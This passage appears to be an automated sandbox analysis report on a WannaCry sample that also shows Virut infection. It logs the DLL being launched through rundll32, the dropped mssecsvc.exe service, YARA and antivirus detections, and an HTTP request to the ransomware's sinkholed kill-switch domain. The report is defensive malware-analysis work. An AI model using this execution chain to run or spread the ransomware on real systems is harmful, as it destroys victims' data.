65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                              Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>


                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                              1192.168.2.349847104.17.244.8180C:\Windows\mssecsvc.exe
                                                                                                                                                              TimestampkBytes transferredDirectionData
                                                                                                                                                              Jul 21, 2022 07:28:17.315939903 CEST13157OUTGET / HTTP/1.1
                                                                                                                                                              Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
                                                                                                                                                              Cache-Control: no-cache
                                                                                                                                                              Jul 21, 2022 07:28:17.346257925 CEST13158INHTTP/1.1 200 OK
                                                                                                                                                              Date: Thu, 21 Jul 2022 05:28:17 GMT
                                                                                                                                                              Content-Type: text/html
                                                                                                                                                              Content-Length: 607
                                                                                                                                                              Connection: close
                                                                                                                                                              Server: cloudflare
                                                                                                                                                              CF-RAY: 72e188443da69016-FRA
                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                              Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>


                                                                                                                                                              Statistics

                                                                                                                                                              CPU Usage

                                                                                                                                                              Click to jump to process

                                                                                                                                                              Memory Usage

                                                                                                                                                              Click to jump to process

                                                                                                                                                              High Level Behavior Distribution

                                                                                                                                                              Click to dive into process behavior distribution

                                                                                                                                                              Behavior

                                                                                                                                                              Click to jump to process

                                                                                                                                                              System Behavior

                                                                                                                                                              General

                                                                                                                                                              Target ID:0
                                                                                                                                                              Start time:07:26:14
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\loaddll32.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:loaddll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll"
                                                                                                                                                              Imagebase:0xf00000
                                                                                                                                                              File size:116736 bytes
                                                                                                                                                              MD5 hash:7DEB5DB86C0AC789123DEC286286B938
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high

                                                                                                                                                              General

                                                                                                                                                              Target ID:1
                                                                                                                                                              Start time:07:26:14
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",#1
                                                                                                                                                              Imagebase:0xc20000
                                                                                                                                                              File size:232960 bytes
                                                                                                                                                              MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high

                                                                                                                                                              General

                                                                                                                                                              Target ID:2
                                                                                                                                                              Start time:07:26:14
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:rundll32.exe C:\Users\user\Desktop\7Qu8thR7WW.dll,PlayGame
                                                                                                                                                              Imagebase:0x220000
                                                                                                                                                              File size:61952 bytes
                                                                                                                                                              MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high

                                                                                                                                                              General

                                                                                                                                                              Target ID:3
                                                                                                                                                              Start time:07:26:14
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",#1
                                                                                                                                                              Imagebase:0x220000
                                                                                                                                                              File size:61952 bytes
                                                                                                                                                              MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high

                                                                                                                                                              General

                                                                                                                                                              Target ID:4
                                                                                                                                                              Start time:07:26:16
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\mssecsvc.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:C:\WINDOWS\mssecsvc.exe
                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                              File size:3751936 bytes
                                                                                                                                                              MD5 hash:D67ED037DC59A12F853AD3E2022B8AAE
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.292639751.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000004.00000002.557785297.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.292490099.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.287791267.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.286766656.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.289006275.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.286963236.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000002.557301773.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.288781813.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.287911661.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000002.557144166.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                                                                                              • Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT)
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team
                                                                                                                                                              Antivirus matches:
                                                                                                                                                              • Detection: 100%, Avira
                                                                                                                                                              • Detection: 100%, Joe Sandbox ML
                                                                                                                                                              Reputation:low

                                                                                                                                                              General

                                                                                                                                                              Target ID:5
                                                                                                                                                              Start time:07:26:18
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",PlayGame
                                                                                                                                                              Imagebase:0x220000
                                                                                                                                                              File size:61952 bytes
                                                                                                                                                              MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high

                                                                                                                                                              General

                                                                                                                                                              Target ID:6
                                                                                                                                                              Start time:07:26:18
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000006.00000000.537571247.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000006.00000002.810392224.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              Reputation:high

                                                                                                                                                              General

                                                                                                                                                              Target ID:8
                                                                                                                                                              Start time:07:26:19
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\mssecsvc.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:C:\WINDOWS\mssecsvc.exe
                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                              File size:3751936 bytes
                                                                                                                                                              MD5 hash:D67ED037DC59A12F853AD3E2022B8AAE
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000002.378192285.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000000.294174660.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000008.00000000.296643243.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000008.00000000.292371942.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000000.296579008.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000000.298002651.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000008.00000000.294287022.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000000.292236661.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000008.00000000.298064075.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000008.00000002.378431386.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                                                                                              Reputation:low

                                                                                                                                                              General

                                                                                                                                                              Target ID:9
                                                                                                                                                              Start time:07:26:20
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000009.00000002.810391674.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000009.00000000.539247189.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              Reputation:high

                                                                                                                                                              General

                                                                                                                                                              Target ID:10
                                                                                                                                                              Start time:07:26:21
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\winlogon.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:winlogon.exe
                                                                                                                                                              Imagebase:0x7ff75dae0000
                                                                                                                                                              File size:677376 bytes
                                                                                                                                                              MD5 hash:F9017F2DC455AD373DF036F5817A8870
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000A.00000000.297048245.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000A.00000000.306825329.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000A.00000000.306808092.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000A.00000002.810419995.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000A.00000002.810527739.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:11
                                                                                                                                                              Start time:07:26:21
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language

                                                                                                                                                              General

                                                                                                                                                              Target ID:12
                                                                                                                                                              Start time:07:26:22
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\System32\svchost.exe -k NetworkService -p
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language

                                                                                                                                                              General

                                                                                                                                                              Target ID:14
                                                                                                                                                              Start time:07:26:23
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\SgrmBroker.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\system32\SgrmBroker.exe
                                                                                                                                                              Imagebase:0x7ff768290000
                                                                                                                                                              File size:163336 bytes
                                                                                                                                                              MD5 hash:D3170A3F3A9626597EEE1888686E3EA6
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language

                                                                                                                                                              General

                                                                                                                                                              Target ID:15
                                                                                                                                                              Start time:07:26:23
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\lsass.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\system32\lsass.exe
                                                                                                                                                              Imagebase:0x7ff6988c0000
                                                                                                                                                              File size:57976 bytes
                                                                                                                                                              MD5 hash:317340CD278A374BCEF6A30194557227
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000F.00000000.309780415.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000F.00000002.810424009.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000F.00000002.810637032.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000F.00000000.309797801.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000F.00000000.304104475.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:16
                                                                                                                                                              Start time:07:26:24
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\mssecsvc.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:C:\WINDOWS\mssecsvc.exe -m security
                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                              File size:3751936 bytes
                                                                                                                                                              MD5 hash:D67ED037DC59A12F853AD3E2022B8AAE
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000010.00000002.386870817.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000010.00000000.304404553.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000010.00000000.304344912.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000010.00000002.386002863.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000010.00000002.386077102.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team

                                                                                                                                                              General

                                                                                                                                                              Target ID:17
                                                                                                                                                              Start time:07:26:24
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language

                                                                                                                                                              General

                                                                                                                                                              Target ID:18
                                                                                                                                                              Start time:07:26:27
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\fontdrvhost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:fontdrvhost.exe
                                                                                                                                                              Imagebase:0x7ff7d9820000
                                                                                                                                                              File size:790304 bytes
                                                                                                                                                              MD5 hash:31113981180E69C2773BCADA4051738A
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000012.00000000.323169252.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000012.00000000.310428010.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000012.00000002.810464868.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000012.00000000.323178260.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000012.00000002.810721934.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:20
                                                                                                                                                              Start time:07:26:33
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000014.00000000.322271007.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000014.00000000.324242609.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000014.00000002.810643993.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000014.00000000.324263064.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000014.00000002.810463984.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:21
                                                                                                                                                              Start time:07:26:34
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\system32\svchost.exe -k DcomLaunch -p
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000015.00000002.810772522.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
